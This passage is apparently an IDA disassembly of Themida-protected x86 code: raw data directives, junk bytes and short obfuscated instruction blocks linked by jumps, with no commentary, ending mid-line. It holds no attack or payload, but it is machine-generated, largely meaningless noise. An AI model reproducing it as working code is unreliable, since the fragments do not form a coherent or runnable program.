dd 0E9243489h, 0FFFFA8B3h, 0EAC1D2F7h, 3BE5603h, 311DCA25h dd 0D1015EF2h, 2146685Ah, 34890000h, 81E68924h, 4C6h, 4BA5200h dd 29000000h, 34875AD6h, 1C895C24h, 0BB24h, 0DFE90000h dd 54000019h, 0E924048Fh, 0FFFFDD3Ah, 7846EA81h, 0BD5555FAh dd 7BBF6E4Ah, 154CCD81h, 814D4C30h, 150E51CDh, 0BAC58142h dd 0E9253901h, 0FFFFD9FEh ; --------------------------------------------------------------------------- loc_54D834: ; CODE XREF: Themida_:0054A264j dec esi push ebx mov ebx, 0A33620Dh add ebx, 2EFC4279h jmp loc_547276 ; --------------------------------------------------------------------------- dw 0C601h dd 12E9h, 95E95100h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D853: ; CODE XREF: Themida_:00548BDDj pop esi add esp, 4 or ebp, ebx pop ebx jmp loc_548794 ; --------------------------------------------------------------------------- db 58h dd 0E9243487h, 0FFFF751Eh, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 405h, 4ECD6800h, 2C890000h, 0C363E924h, 0FD35FFFFh dd 81475EDEh, 9E2175C5h, 81C50137h, 9E2175EDh, 24048B37h dd 4C481h, 0EC810000h, 4, 0FFC190E9h, 4EE381FFh, 0E9065542h dd 2323h, 0E904EC83h, 0FFFF8900h ; --------------------------------------------------------------------------- loc_54D8C4: ; CODE XREF: Themida_:00549496j xor eax, ecx push esi mov esi, esp jmp loc_5457F5 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0FFCD57E9h, 9FE9ACFFh dd 66FFFF87h, 0E96EA568h, 0FFFFA556h, 0DB61680Dh, 4E570D7Eh dd 0EC814E0Bh, 4, 0B9240C89h, 0EF6C0C7Dh, 0FFCA62E9h, 0EC815CFFh dd 2, 1518E9h, 240C3300h, 33240C31h, 665C240Ch, 2404AB0Fh dd 6C58E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D932: ; CODE XREF: Themida_:0055011Cj pop ebx jmp loc_54E510 ; --------------------------------------------------------------------------- loc_54D938: ; CODE XREF: Themida_:00547DB1j movzx cx, al push cx pushf jmp loc_54458A ; --------------------------------------------------------------------------- dd 4C481h, 48B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 4C0A0C1Ch sub eax, ebx pop ebx push small word ptr [eax] jmp loc_54458A ; --------------------------------------------------------------------------- loc_54D979: ; CODE XREF: Themida_:0054BD39j mov [esp], ecx mov ecx, esp jmp loc_54D237 ; --------------------------------------------------------------------------- db 5Dh dd 81243C8Bh, 4C4h, 8BC82100h, 0C481240Ch, 4, 840FC009h dd 0FFFFA2ECh, 3B2468h, 24048900h, 0FFAE4EE9h, 75EB80FFh dd 0FFCF74E9h, 804AB7FFh, 0F828B7F7h, 0DF93E95Bh, 0E581FFFFh dd 27F17DAFh, 3579F581h, 0EA893652h, 0E9242C8Bh, 0FFFFB3FDh dd 4C481h, 0C7810000h, 4, 4EC81h, 27E90000h, 81FFFFB4h dd 4C4h, 0ECE95100h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D9FB: ; CODE XREF: Themida_:005471D4j push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 sub ebx, 77B8679Fh jmp loc_54E071 ; --------------------------------------------------------------------------- loc_54DA15: ; CODE XREF: Themida_:0054BC29j push ecx mov ecx, esp jmp loc_54627C ; --------------------------------------------------------------------------- loc_54DA1D: ; CODE XREF: Themida_:0054E8C1j push dword ptr [esp] pop edi add esp, 4 add esp, 4 shr ecx, 0Bh push esi push esp pop esi push ebx mov ebx, 4 add esi, 3EEE7C5Bh jmp loc_544BEB ; --------------------------------------------------------------------------- db 1, 0EBh, 8Bh dd 0C481242Ch, 4, 26855h, 2C8B0000h, 31E924h, 2BE90000h dd 0FFFFFF6Bh, 34FF2434h, 5FE95824h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA6B: ; CODE XREF: Themida_:00545D88j push 0 pop ecx add ecx, ebx mov eax, [ecx] jmp loc_54C2C9 ; --------------------------------------------------------------------------- loc_54DA7A: ; CODE XREF: Themida_:0054AAB5j pop esi add eax, edi sub eax, 7D966F87h push edx pop dword ptr [eax] pop eax jmp loc_54A49D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5AC38100h, 812F7D20h, 0FA4A62C3h, 0E9EB0164h dd 0FFFFC751h, 0EF37E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DAAA: ; CODE XREF: Themida_:0054DCB3j xchg ebp, [esp] pop esp jmp loc_54C572 ; --------------------------------------------------------------------------- aLHld db '▀$$hLd',0 dw 8900h dd 0D388241Ch, 52D98851h, 95E9CE88h, 1FFFFDCh, 0E38159CBh dd 12F618ABh, 0C381DBF7h, 5D5080E8h, 1C8BDE29h, 4C48124h dd 0E9000000h, 0FFFFC4DDh, 97E9028Fh db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DAF3: ; CODE XREF: Themida_:0054C69Aj push dword ptr [esp] mov ecx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_54CBFE ; --------------------------------------------------------------------------- db 64h, 8Fh, 2 dd 0FF6A79E9h, 3C8B5BFFh, 4C48324h, 205h, 6E0AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB22: ; CODE XREF: Themida_:0054E474j mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54BD2F ; --------------------------------------------------------------------------- dw 0E95Ah dd 1FA2h ; --------------------------------------------------------------------------- loc_54DB40: ; CODE XREF: Themida_:0054B387j push 30C3h mov [esp], edi mov edi, esp jmp loc_54BEB5 ; --------------------------------------------------------------------------- loc_54DB4F: ; CODE XREF: Themida_:0054E8E5j push ecx mov ecx, 6BC0550Eh add ecx, 5C73514Bh shr ecx, 8 dec ecx xor ecx, 49A7918h jmp loc_546264 ; --------------------------------------------------------------------------- dw 1489h dd 1BA24h, 0D1210000h, 5A2434FFh, 0FF7A7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DB7D: ; CODE XREF: Themida_:0054A4F2j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi jmp loc_54F0FF ; --------------------------------------------------------------------------- loc_54DB90: ; CODE XREF: Themida_:00549CC2j pop edx jmp loc_54CCB1 ; --------------------------------------------------------------------------- dw 0D001h dd 2404335Ah, 33240431h, 0BFE92404h, 53FFFFE4h, 0FFFE08E9h dd 2434FFFFh, 0F7E95158h, 0F7000012h, 366D68E1h, 14890000h dd 7FF2E924h, 0EA81FFFFh, 3EFF2D17h, 0C281C201h, 3EFF2D17h dd 0E924048Bh, 0FFFFB633h, 0C281E289h, 4, 4C281h, 14870000h dd 0A1E95C24h, 66FFFFBEh, 55240C8Bh, 0ECFE951h, 0D1F60000h dd 6650CF86h, 8812B551h, 26C3E9E8h, 0C8290000h, 6859h dd 4290000h, 0D73E924h, 1C870000h, 0F7E95C24h, 83FFFFEDh dd 2E6804C4h, 0E9000053h, 0FFFF735Eh, 0DA2E181h, 0E9810F96h dd 682097Eh, 0E959CD01h, 0FFFF8D53h ; --------------------------------------------------------------------------- loc_54DC48: ; CODE XREF: Themida_:0054F22Dj mov edi, 0CFE736BCh add edi, 76931467h sub edi, 1A951EC2h add edi, ebp add edi, 1A951EC2h sub edi, 76931467h pop ebp sub edi, eax pop eax add eax, edi mov edi, [esp] jmp loc_54A059 ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 0FFFF690Eh, 0DC28142h, 294468FBh, 685D5AD0h, 822h, 0BA241489h dd 11C64E17h, 0FFBC06E9h, 4C181FFh, 83000000h, 0DE904C1h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54DAAA ; --------------------------------------------------------------------------- dd 8904EC83h, 4BB241Ch, 1000000h, 2434FFDEh, 2FE9515Bh dd 66FFFFEEh, 6600B60Fh, 66695A68h, 0E9240489h, 0FFFF68AAh dd 12454F6h, 241C8B66h, 2C481h, 50660000h, 9F08E952h, 8F66FFFFh dd 688CE902h, 0A6BBFFFFh, 0E960C61Eh, 18ABh, 0C159CD01h dd 0D5F705EDh, 59DEF581h, 0EA01FD54h, 93BD555Dh, 8136460Bh dd 60124BEDh, 0DEED812Ah, 0F739D15Ch, 5BC581DDh, 813DC156h dd 0ACB9F5F5h, 5DEA016Bh, 8B241487h, 0C4832424h, 9CC88504h dd 0FF683DE9h, 58C588FFh, 0EDC05B66h, 52CDFE05h, 0C6FE46B6h dd 807DE680h, 0F500CAC6h, 0B252665Ah, 7A71E99Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD6E: ; CODE XREF: Themida_:00547BF3j sub eax, 55C4C764h sub ecx, eax jmp loc_54AE7E ; --------------------------------------------------------------------------- dw 0BB53h dd 17D959C1h, 0EB81D3F7h, 6CED27CDh, 0FF8695E9h, 585450FFh dd 405h, 4C08300h, 7441E950h, 505FFFFFh, 0FFE9E8E9h, 24248BFFh dd 81E38953h, 4C3h, 4C38100h, 0E9000000h, 6Bh, 820459h dd 2EC81D8h, 66000000h, 0B6241489h, 28950482h, 66952CF0h dd 8124148Bh, 2C4h, 4DE95300h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DDE3: ; CODE XREF: Themida_:005454CEj mov eax, 12E43505h xor eax, 63BB4600h jmp loc_545ECF ; --------------------------------------------------------------------------- dw 481h dd 424h, 74F5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DDFE: ; CODE XREF: Themida_:00548A27j push eax jmp loc_54D24F ; --------------------------------------------------------------------------- dd 2414895Ch, 0FF677DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DE0D: ; CODE XREF: Themida_:0054E06Cj add ebx, edx add [ebx], ebp pop ebx mov ebp, [esp] add esp, 4 popa jmp loc_54F894 ; --------------------------------------------------------------------------- db 59h, 0E9h, 7Bh dd 87FFFFB2h, 685C241Ch, 13CAh, 0FFA3ABE9h, 54515CFFh dd 4C18159h, 53000000h, 4BA52h, 89510000h, 59CB89D1h, 5BD9015Ah dd 31240C33h, 0C33240Ch, 24248B24h, 68C8B70Fh, 7978h, 0E9240C89h dd 0FFFF671Eh ; --------------------------------------------------------------------------- loc_54DE6C: ; CODE XREF: Themida_:0054E031j mov esi, 2DD59F1h xor edi, esi pop esi and esi, edi pop edi shr esi, 6 neg esi sub esi, 57020D44h push 4548h mov [esp], edi mov edi, 7CA35BA0h jmp loc_544CB5 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0BFE92424h, 80FFFFFCh dd 0CBFEFFC3h, 0E9F2F380h, 0FFFF790Dh, 0B1E9CEB3h, 52FFFF89h dd 3A0FEFBAh, 0CE4CE935h, 0C483FFFFh, 44496804h, 5EE90000h dd 53FFFF80h, 771294BBh, 0CDFDE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEE2: ; CODE XREF: Themida_:00548E9Ej pop ebx or eax, eax jz loc_5488FD push dword ptr [edi+1Ch] push esi mov esi, 47827DDCh xor [esp+4], esi jmp loc_54CDD6 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db '$h<%',0 align 2 dw 0C89h dd 0C8B5424h, 999BE924h, 0E958FFFFh, 0FFFF8E07h, 4C4815Dh dd 29000000h, 243C8BFBh, 5604C483h, 0FF6BFFE9h, 405FFh dd 4870000h, 0F0295C24h, 5E2434FFh, 55E08950h, 4D63CABDh dd 26CD8141h, 81505C47h, 0CD03E2CDh, 0E9D5F74Fh, 0FFFF685Ah ; --------------------------------------------------------------------------- loc_54DF58: ; CODE XREF: Themida_:005505D4j xor edi, edx xor edx, edi push eax push edx mov eax, [esp] add esp, 4 mov edx, [esp] push ecx mov ecx, esp add ecx, 4 push edx mov edx, 0A513940h inc edx jmp loc_5463BD ; --------------------------------------------------------------------------- dd 81242C89h, 4ECh, 24348900h, 0BA525E54h, 525B70A5h, 634CE281h dd 0EA8125A0h, 6000h, 815AD601h, 4EEh, 24348700h, 2434895Ch dd 0FFF3E9E9h, 59E800FFh, 582CD828h, 0FFDBF4E9h, 9BF57FFh dd 0E9590E48h, 0FFFFF3BFh, 2811055Ch, 0EAE9605Fh, 2CFFFFF5h dd 844FE920h, 0E189FFFFh, 4BD5550h, 89000000h, 0C1015DE8h dd 8324048Bh, 0BA5204C4h, 2, 785FC181h, 0C18175CBh, 3945DB8h dd 0E981D101h, 3945DB8h, 1703BF57h, 0C7810018h, 78CD00D3h dd 0D108E7C1h, 0B18CE9EFh, 0C681FFFFh, 0B3841D90h, 0FFE3F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E029: ; CODE XREF: Themida_:00548130j dec edi and edi, 22FC2A51h push esi jmp loc_54DE6C ; --------------------------------------------------------------------------- dw 0E581h dd 47B2758Ch, 7A4CED81h, 0F5811356h, 0F03B963Eh, 0FFB2ACE9h dd 0E6C058FFh, 0D8F5E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E056: ; CODE XREF: Themida_:0054B29Fj push edx push 319B181Ch pop edx xor edx, 5C4F1166h xor edx, 6DD4094Ah mov ebx, edx pop edx jmp loc_54DE0D ; --------------------------------------------------------------------------- loc_54E071: ; CODE XREF: Themida_:0054DA10j sub ebx, eax jmp loc_549246 ; --------------------------------------------------------------------------- dd 0EDE9515Dh db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E07F: ; CODE XREF: Themida_:00549D12j pop eax jmp loc_547DA1 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 592434FFh, 0FFE10AE9h, 6C4FB9FFh, 41494BC1h, 0C6C18149h dd 291F90DBh, 5D5659CEh, 72C5815Eh, 2932B7E8h, 8A7DE9E8h dd 0D3E9FFFFh, 29FFFF64h, 0F7BD55D0h, 8108CE3Fh, 4ECh dd 24148900h, 8D1FBDBAh, 0CA2FE959h, 0F580FFFFh, 8BE830A3h dd 0EC81240Ch, 4, 54242C89h, 0FFE6F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E0E9: ; CODE XREF: Themida_:0054E361j sub bl, 3Ch jmp loc_54C156 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 241C895Ch, 42E9C788h, 58FFFF68h, 0FFC7CFE9h, 0C18159FFh dd 4, 8704C183h, 875C240Ch, 248B2434h, 2434FF24h, 63685058h dd 8900003Fh, 4832424h, 83580424h, 0C8904ECh, 68D4B924h dd 0C1813641h, 4B8D7579h, 0D97EE955h, 0B951FFFFh, 62FF549Eh dd 3325E981h, 0CF316143h, 0D5EF8159h, 2D3E3BF2h, 555D4B72h dd 76E9F801h, 51FFFFE4h, 0FF6B69E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E169: ; CODE XREF: Themida_:0054B7DAj add esi, 4 jmp loc_54CF9C ; --------------------------------------------------------------------------- loc_54E174: ; CODE XREF: Themida_:0054E669j xchg edx, ecx push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] push dword ptr [esp] pop eax push ecx jmp loc_54BB64 ; --------------------------------------------------------------------------- dw 875Dh dd 248B2404h, 4C18124h, 83000000h, 56E904ECh, 1FFFFC7h dd 7CA8E9CFh, 0F181FFFFh, 7D1A2844h, 9AC98149h, 8162337Fh dd 0D163FCF1h, 8BCE014Ch, 0C481240Ch, 4, 6D23C681h, 0CE01630Bh dd 6D23EE81h, 0ACE9630Bh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1DF: ; CODE XREF: Themida_:0054BA94j pop edx pop ebx not esi xor esi, 579FA611h and eax, esi mov esi, [esp] add esp, 4 shr eax, 0Ch jmp loc_54BCDA ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 0FFFF9194h, 1D6DDDBFh, 0BA523Ah, 0E96DFF2Fh dd 0FFFFD1A7h, 6581CA81h, 0E95355B1h, 0FFFFA42Dh, 24048B66h dd 306568h, 241C8900h, 0FFED28E9h, 8BF588FFh, 0C4812414h dd 4, 34FFE800h, 89505924h, 405E0h, 0C0830000h, 14FCE904h dd 0F6810000h, 581C2094h, 24148B56h, 5E04C483h, 83242C8Bh dd 1FE904C4h, 81FFFF63h, 947BF8EBh, 0B31AE950h, 481FFFFh dd 630B6F24h, 0EA815A74h, 74630B6Fh, 8324348Bh, 0C8904ECh dd 81E18924h, 4C1h, 4EC8100h, 89000000h, 4BA2414h, 57000000h dd 0FFA75CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E2A9: ; CODE XREF: Themida_:0054CD85j add edi, 4 add edi, 4 jmp loc_54A35F ; --------------------------------------------------------------------------- db 89h dd 0B8502424h, 4, 4244401h, 0C1815958h, 4, 4BE56h, 0F1010000h dd 8324348Bh, 936804C4h, 89000052h, 97E9240Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2E7: ; CODE XREF: Themida_:00549ECEj pop edi add edi, 4 add edi, 4 jmp loc_545398 ; --------------------------------------------------------------------------- loc_54E2F6: ; CODE XREF: Themida_:00550348j sub esp, 4 mov [esp], edx mov edx, 6E157D73h sub edx, 577C3154h jmp loc_54CA56 ; --------------------------------------------------------------------------- db 81h dd 0C116FDF5h, 30ED8114h, 0E95ABC60h, 200Ch, 83243C8Bh dd 0C20104C4h, 0FF7BD9E9h, 5EF001FFh, 0FFB40DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E335: ; CODE XREF: Themida_:0054C758j shl ebx, 8 or ebx, 29E36B07h dec ebx sub ebx, 58C28CB2h dec ebx jmp loc_5471D3 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 53F9BB24h, 0DA291EFDh, 622CE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E35E: ; CODE XREF: Themida_:00546A73j sub bl, ch pop ecx jmp loc_54E0E9 ; --------------------------------------------------------------------------- loc_54E366: ; CODE XREF: Themida_:00547F82j xchg ebp, [esp] pop esp add bl, 27h sub bl, al sub bl, 27h push small 1590h mov [esp], dx mov dl, 42h add bl, dl mov dx, [esp] push eax mov eax, esp add eax, 4 add eax, 2 jmp loc_548324 ; --------------------------------------------------------------------------- loc_54E392: ; CODE XREF: Themida_:00544791j xor esi, 0E3847BFh inc esi jmp loc_54E743 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0D8E9E989h, 0BDFFFFF5h, 1, 4E5DEE29h, 4ED6F74Eh dd 8106EEC1h, 4ECh, 24148900h, 0FF9A23E9h, 0EC8358FFh dd 241C8904h, 952FE955h, 0FA29FFFFh, 116FEA81h, 0E95F2B37h dd 0FFFF70A8h, 0B2E9F300h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E3EB: ; CODE XREF: Themida_:005458AEj xchg edx, [esp] pop esp jmp loc_548A1F ; --------------------------------------------------------------------------- dd 5B2434FFh, 6804C483h, 61EFh, 0E9241C89h, 0FFFF8ACFh dd 8417E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E40E: ; CODE XREF: Themida_:0054CF97j mov edi, 4B520307h jmp loc_54811E ; --------------------------------------------------------------------------- dd 8204CD04h, 0C3006634h, 0FFBE7FE9h, 0FFFF68FFh, 2958FFFFh dd 0EF8158C7h, 7A9E72AFh, 120EE952h, 4330000h, 24043124h dd 5C240433h, 8095E950h, 8957FFFFh, 4C781E7h, 83000000h dd 3C3304C7h, 9533E924h, 34FFFFFFh, 0C4815F24h, 4, 0FFED54E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E46D: ; CODE XREF: Themida_:0054945Fj mov esi, 4 sub ebp, esi jmp loc_54DB22 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 7E4468h, 24348900h, 95E9E689h, 81FFFFD6h, 621C06EEh dd 0C683593Eh, 24348702h, 6624248Bh, 5624048Bh, 0E957E689h dd 0FFFFB1B1h, 0E4EEC281h, 0D3894AD7h, 5BD8015Ah, 2940685Bh dd 3C890000h, 78BB5324h, 0E9705228h, 0A55h, 7E68BE2Dh dd 6541E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4D2: ; CODE XREF: Themida_:00544FF7j add ebp, 4 xchg ebp, [esp] pop esp push esi push ebp mov ebp, 5BC825F8h inc ebp shr ebp, 6 neg ebp jmp loc_54B3E6 ; --------------------------------------------------------------------------- loc_54E4EE: ; CODE XREF: Themida_:005446EFj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] not edi xchg edi, [esp] pop eax push ebx mov ebx, 75745AA9h neg ebx push eax mov eax, 35D11202h jmp loc_5482FD ; --------------------------------------------------------------------------- loc_54E510: ; CODE XREF: Themida_:0054D933j push edi push esp pop edi add edi, 4 push 7E1Ch mov [esp], eax mov eax, 2EA85436h shr eax, 4 sub eax, 2EA853Fh add edi, eax pop eax xchg edi, [esp] mov esp, [esp] shl eax, cl push 2313h mov [esp], ebp jmp loc_54F5B9 ; --------------------------------------------------------------------------- dw 0E580h dd 0B3F580C4h, 0FFF656E9h, 40F281FFh, 119FA2Bh, 55505AD5h dd 322F4ABDh, 5DE88953h, 0D06E8C1h, 461216E7h, 0FFF319E9h dd 0F3295EFFh, 81BA525Eh, 81144836h, 70066BF2h, 5AD3291Eh dd 12300F2Dh, 5D80150h, 5012300Fh, 2055Bh, 4870000h, 24248B24h dd 4A30F66h, 0E3E99C24h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5A7: ; CODE XREF: Themida_:0054C9B2j sub edx, 731FBA8h xor edi, edx pop edx mov ebp, edi jmp loc_549C57 ; --------------------------------------------------------------------------- db 56h dd 3F5773BEh, 8B5D5606h, 0C4812434h, 4, 0FFD08DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E5CD: ; CODE XREF: Themida_:00550647j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_549321 ; --------------------------------------------------------------------------- dw 0F701h dd 243C875Eh, 0F24248Bh, 9C51C8AFh, 0FF5F99E9h, 2474FFFFh dd 48F5904h, 0DA60E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5FE: ; CODE XREF: Themida_:0054BC4Aj and edx, esi pop esi dec edx sub esp, 4 mov [esp], eax mov eax, 5A8712F7h inc eax shr eax, 3 sub eax, 0FB5B94EBh jmp loc_54E66E ; --------------------------------------------------------------------------- db 57h dd 0FFBC5FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E621: ; CODE XREF: Themida_:00546D1Aj shr ecx, 3 neg ecx sub ecx, 0FFFFFFFFh sub ecx, 0FF3F7F35h rep movsd add esp, [edx+38h] jmp loc_54B444 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 80h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E63F: ; CODE XREF: Themida_:00545E3Dj add esp, 4 jmp loc_54EE72 ; --------------------------------------------------------------------------- dw 0B050h dd 8E8C033h, 0FFA93EE9h, 24248BFFh, 9C2404FEh, 0FF5F29E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E661: ; CODE XREF: Themida_:0054F8FAj not eax xor edx, eax xor eax, edx xor edx, eax jmp loc_54E174 ; --------------------------------------------------------------------------- loc_54E66E: ; CODE XREF: Themida_:0054E616j sub edx, eax pop eax neg edx jmp loc_545A2B ; --------------------------------------------------------------------------- dd 931ABD55h, 0E8296149h, 0FF2434FFh, 835D2434h, 0E95104C4h dd 152Dh, 1B2BB53h, 1DE94BCEh, 50FFFFA3h, 0CFBE952h, 0DABE0000h dd 81059E51h, 51852E6h, 0E6B95151h, 31340F7Eh, 0EEC159CEh dd 60E95304h, 0E9FFFF93h, 0FFFF5EC6h, 5C240487h, 0FFDFF7E9h dd 4BE381FFh, 0F73D665Dh, 9D4AE9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6DA: ; CODE XREF: Themida_:00546085j mov [esp], edx mov edx, ebx push edx jmp loc_544969 ; --------------------------------------------------------------------------- db 81h, 0C5h, 8Ch dd 8117BE00h, 0D919C4EDh, 81CD013Bh, 0D919C4C5h, 8CED813Bh dd 5917BE00h, 0FF740FE9h, 0FC009FFh, 0FFB78C84h, 241D68FFh dd 1C890000h, 73BE5624h, 31063F57h, 5E042474h, 18D4E9h dd 4C48300h, 9BB5352h, 0C105B976h, 96E902EBh, 87FFFFFFh dd 8F5C2414h, 59E92404h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E743: ; CODE XREF: Themida_:0054E399j add esi, 587A093Bh jmp loc_54AF84 ; --------------------------------------------------------------------------- loc_54E74E: ; CODE XREF: Themida_:0054B459j push eax mov eax, ebp jmp loc_546D59 ; --------------------------------------------------------------------------- dw 0ABB9h dd 0F7126472h, 5CE181D1h, 8119C278h, 9D5D96E1h, 36C9811Ah dd 55239847h, 0BDh, 0E9CD2900h, 0FFFF90F5h, 504F000h, 8124148Bh dd 4C4h, 5E2EE900h, 0E959FFFFh, 0FFFF5DF6h, 83242C8Bh dd 565B04C4h, 0FF6635E9h, 0E78957FFh, 6E4968h, 7B6FE900h dd 875BFFFFh, 0FCE9240Ch, 89FFFF84h, 4C581E5h, 83000000h dd 2C8704C5h, 18E95C24h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E7CB: ; CODE XREF: Themida_:00546266j pop ecx jmp loc_54C1C9 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0B4h dd 870EB45Eh, 87D1F7CBh, 0C1D3F7CBh, 0E907E3h, 68FFFFD1h dd 1C1A6B08h, 246C8159h, 0B370FC04h, 0EAE95029h, 81FFFFB4h dd 4C1h, 29B85000h, 0E9781953h, 0FFFFDC9Bh, 0A0C1CBDh dd 246C014Ch, 242C8B04h, 0FFF127E9h, 24248BFFh, 0FFBA1FE9h dd 2434FFFFh, 5E2434FFh, 1BF9E9h, 48B6600h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_547084 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 3EC968h, 0D203E900h, 0E950FFFFh, 1D7Dh, 83242C8Bh, 48F04C4h dd 24248B24h, 24048B66h, 0FCE95552h, 57FFFF65h, 4D242C81h dd 5A28D57Eh, 7E4DC281h, 13E928D5h, 89FFFFAAh, 6BB241Ch dd 0E90EED4Ah, 0FFFF785Bh ; --------------------------------------------------------------------------- loc_54E894: ; CODE XREF: Themida_:0054539Ej xor edi, [esp] pop esp jmp loc_54C12F ; --------------------------------------------------------------------------- db 59h, 50h, 89h dd 6574E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8A6: ; CODE XREF: Themida_:0054CAA8j add eax, ebp pop ebp xchg eax, [esp] pop esp sub ebp, 3CC32AB2h xor ebp, 56C0FD2Ah mov edi, ebp pop ebp and ecx, edi push dword ptr [esp] jmp loc_54DA1D ; --------------------------------------------------------------------------- dw 5147h dd 4A1B48B9h, 59CF3187h, 0FFFF9EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E8D5: ; CODE XREF: Themida_:0054B906j pop esi push ebx mov ebx, 76CC027Bh push eax mov eax, 3FE11091h or ebx, eax pop eax jmp loc_54DB4F ; --------------------------------------------------------------------------- dw 0C483h dd 0E9192C02h, 0FFFFCCB9h, 0E84DE950h, 0E983FFFFh, 240C8704h dd 2404895Ch, 0B951E089h, 1312765Dh, 65C8E981h, 0C1812D00h dd 19EDEF6Fh, 4E697C2Dh, 8254E923h, 0CBDFFFFh, 8100FA68h dd 0F63D20E5h, 9ED8153h, 298ABCA8h, 242C8BE8h, 4C481h dd 0EF810000h, 65A76641h, 0CDE9C701h, 0C1FFFFB5h, 0C78108EFh dd 0FB12F1F1h, 0FFD310E9h, 5C801FFh, 3D005DFAh, 697CBB53h dd 0D801234Eh, 32E9595Bh, 89FFFFC1h, 0BE562414h, 20B06642h dd 0D6E9F289h, 89000019h, 2BD242Ch, 2D000000h, 70922143h dd 0FF6782E9h, 0BB5358FFh, 0CF3DBC0Eh, 0FFB2D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E99D: ; CODE XREF: Themida_:0054F5F1j xor ecx, 464D6513h sub [esp+4], ecx pop ecx pop eax push ebp mov ebp, 47486539h jmp loc_54618C ; --------------------------------------------------------------------------- dd 15FCEB81h, 0BF5765F4h, 68036D9h, 3C8BF829h, 0E1895124h dd 0FF6BE6E9h, 56B151FFh, 0E959C800h, 0FFFFE881h, 5424248Bh dd 0FF5D72E9h, 4C481FFh, 8F000000h, 248B2404h, 2434FF24h dd 72685158h, 0E9000019h, 0FFFFF8BBh, 42474FFh, 24048F5Eh dd 0FF7EF6E9h, 2434FFFFh, 51240C8Bh, 0C181E189h, 4, 1334BB53h dd 0D3E911D3h, 89FFFFC2h, 1CBA2414h, 81000000h, 4A74ECEAh dd 81FA0174h, 4A74ECC2h, 8132FF74h, 0CB62434h, 34FF78B8h dd 240C8B24h, 5004C483h, 405E089h, 83000000h, 6EE904C0h dd 0F7FFFF61h, 87E942D2h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA63: ; CODE XREF: Themida_:005483FEj add edi, 150F12F8h pop ecx or edx, edi mov edi, [esp] add esp, 4 and edx, 12BC4CB9h jmp loc_545400 ; --------------------------------------------------------------------------- loc_54EA80: ; CODE XREF: Themida_:0054B585j sub ebx, edx sub ebx, 0D193057h jmp loc_54957D ; --------------------------------------------------------------------------- db 55h, 0BDh, 50h dd 